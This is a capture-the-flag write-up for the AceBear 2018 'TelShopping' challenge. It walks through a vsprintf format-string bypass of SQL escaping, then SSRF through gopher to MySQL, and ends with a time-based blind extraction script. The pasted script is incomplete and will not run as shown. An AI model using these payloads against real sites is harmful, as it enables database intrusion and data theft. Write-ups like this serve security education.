<-- home

AceBear 2018 / TelShopping

So lets continue with the most hard task in this ctf , suggest you to try it , its still up for some days

Ok the task was about web store , so you can buy some Tet as the task name :p image

The orgz put also source code so we can check and and look for vuln part

Lets start look at the code and try to get it :D

Later , we can see that there is some place where we can control it


$_GET['uid'] was passed directly to the query , but thats was not so easy guys :p , there was filter for sure :D


mysqli_real_escape_string was here waiting for us , but there is little mistake here make all code weak


So here vsprintf work as in C ,we can exploit it like format string

So let me show my friend final exploit which maked us enable to manage the sqli and control it 100%

` %1$c and 1=2 union select 1,2,0x66496c653a2f2f2f7661722f7777772f68746d6c2f6f6b2e6a7067 – - `

` PS : 0x66496c653a2f2f2f7661722f7777772f68746d6c2f6f6b2e6a7067 = fIle:///var/www/html/ok.jpg `

So let me explain this payload to make it easy for you

Here we have

` $prepare_qr = $jdb->addParameter(“SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=%s”, $_GET[‘uid’]); $prepare_qr = $jdb->addParameter($prepare_qr.’ and user=%s’, $username); $result = $jdb->fetch_assoc($prepare_qr); `

means here if we manipulate it we can inject quote without make the filter remove it

As we have vsprintf, we can send %c and convert any ASCII code to char

` %c - The character according to the ASCII value `

means if our username : %1$c it will put ASCII code in our query but converted to char

` 39 = > ‘ `

and thats all what we need to make the bypass here

This is the normal query , notice in the code we have 2x prepares of this query , which make us manipulate the gid again :D

` SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=’%s’ and user=’%s’; `

Lets see Hacker query :D

Note first the username:

Username : 39 /*test*/ 

(39 already used :D  , test as comment so its 39 only in final query)

` SELECT goods.name, goods.description, goods.img from goods inner join info on goods.uid=info.gid where gid=’%1$c and 1=2 union select 1,2,0x66496c653a2f2f2f7661722f7777772f68746d6c2f6f6b2e6a7067 – -‘ and user=’39 /test/’; `

Here %1$c will be replaced by 39 and as we used %c it will do the job for us :D , so it will be single quote HaHa

And here the SQL done ! next please :D

For sure we cant extract the flag from database usign just SQLI, because the user used here have just access to on database and not flag database


So we have 3 column extracted from the database, the 3rd one is sended to watermark_me, lets take a look at it


It just do some image stuff , but our input sended to get_data which end us to exploit SSRF :D WHAT A DAY

OK, here we will use the SSRF to extract flag from database using the use already with privilege ,which is fl4g_m4n4g3r as mention in code

To do this we need to communicate with mysql , gopher can do this for us

So what we will do to make this as fast as we can , is the setup all this locally and check mysql traffic using

` tcpdump -i lo -n dst port 3306 -w mysql.pcap `

Then we just check the packet and make use it to exploit this last step

unfortunately in our exploit we was missing the QUIT request ,then we notice that and make the exploit work perfectly

Here we choice to make time based blind sql injection

Here is the final exploit

import struct 
import binascii
from binascii import hexlify
import requests
import time

cookies = {
    'PHPSESSID': '5icps1lfga9oqrsr5enundodv6',

auth = bytearray([0xb6, 0x0, 0x0,0x1,0x05, 0xa2, 0x3f, 0x00,0x00,0x00,0x00,0x01,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00] 
    + list(b'fl4g_m4n4g3r') + [0x00,0x00,0x6d,0x79,0x73,0x71,0x6c,0x5f,0x6e,0x61,0x74,0x69,0x76,0x65,0x5f,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x00,0x71,0x03,0x5f,0x6f,0x73,0x10,0x64,0x65,0x62,0x69,0x61,0x6e,0x2d,0x6c,0x69,0x6e,0x75,0x78,0x2d,0x67,0x6e,0x75,0x0c,0x5f,0x63,0x6c,0x69,0x65,0x6e,0x74,0x5f,0x6e,0x61,0x6d,0x65,0x08,0x6c,0x69,0x62,0x6d,0x79,0x73,0x71,0x6c,0x04,0x5f,0x70,0x69,0x64,0x05,0x31,0x30,0x37,0x30,0x35,0x0f,0x5f,0x63,0x6c,0x69,0x65,0x6e,0x74,0x5f,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x06,0x35,0x2e,0x36,0x2e,0x33,0x30,0x09,0x5f,0x70,0x6c,0x61,0x74,0x66,0x6f,0x72,0x6d,0x06,0x78,0x38,0x36,0x5f,0x36,0x34,0x0c,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x5f,0x6e,0x61,0x6d,0x65,0x05,0x6d,0x79,0x73,0x71,0x6c])

def encode(s):
    return ''.join(map(lambda x: "%{:02x}".format(x), list(s)))

flag = ""
while True:
    for i in "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_!":
        cmd_arr = list(b"select flag from flag.flag where flag like '"+flag+i+"%' and sleep(5)")
        res = len(cmd_arr)+1
        cmd = struct.pack("<b", res) + bytearray([ 0x0, 0x0, 0x0, 0x03] + cmd_arr )
        quit_packet = bytearray([0x1, 0x0, 0x0, 0x0, 0x1])
        ddd = b"gopher://localhost:3306/A" + bytes(encode(auth + cmd + quit_packet))
        payload = "0x"+binascii.b2a_hex(ddd)
        t1 = time.time()
        url = "$c%20and%201=2%20union%20select%201,2,"+payload+"%20--%20-"
        response = requests.get(url, cookies=cookies)
        t2 = time.time()
        if (t2 - t1) > 4.30:
            flag += i
        print "time : "+str(t2 - t1)
    print flag

And the result :D


it was valid url , which give us the flag

` https://tinyurl.com/y9pplum3 `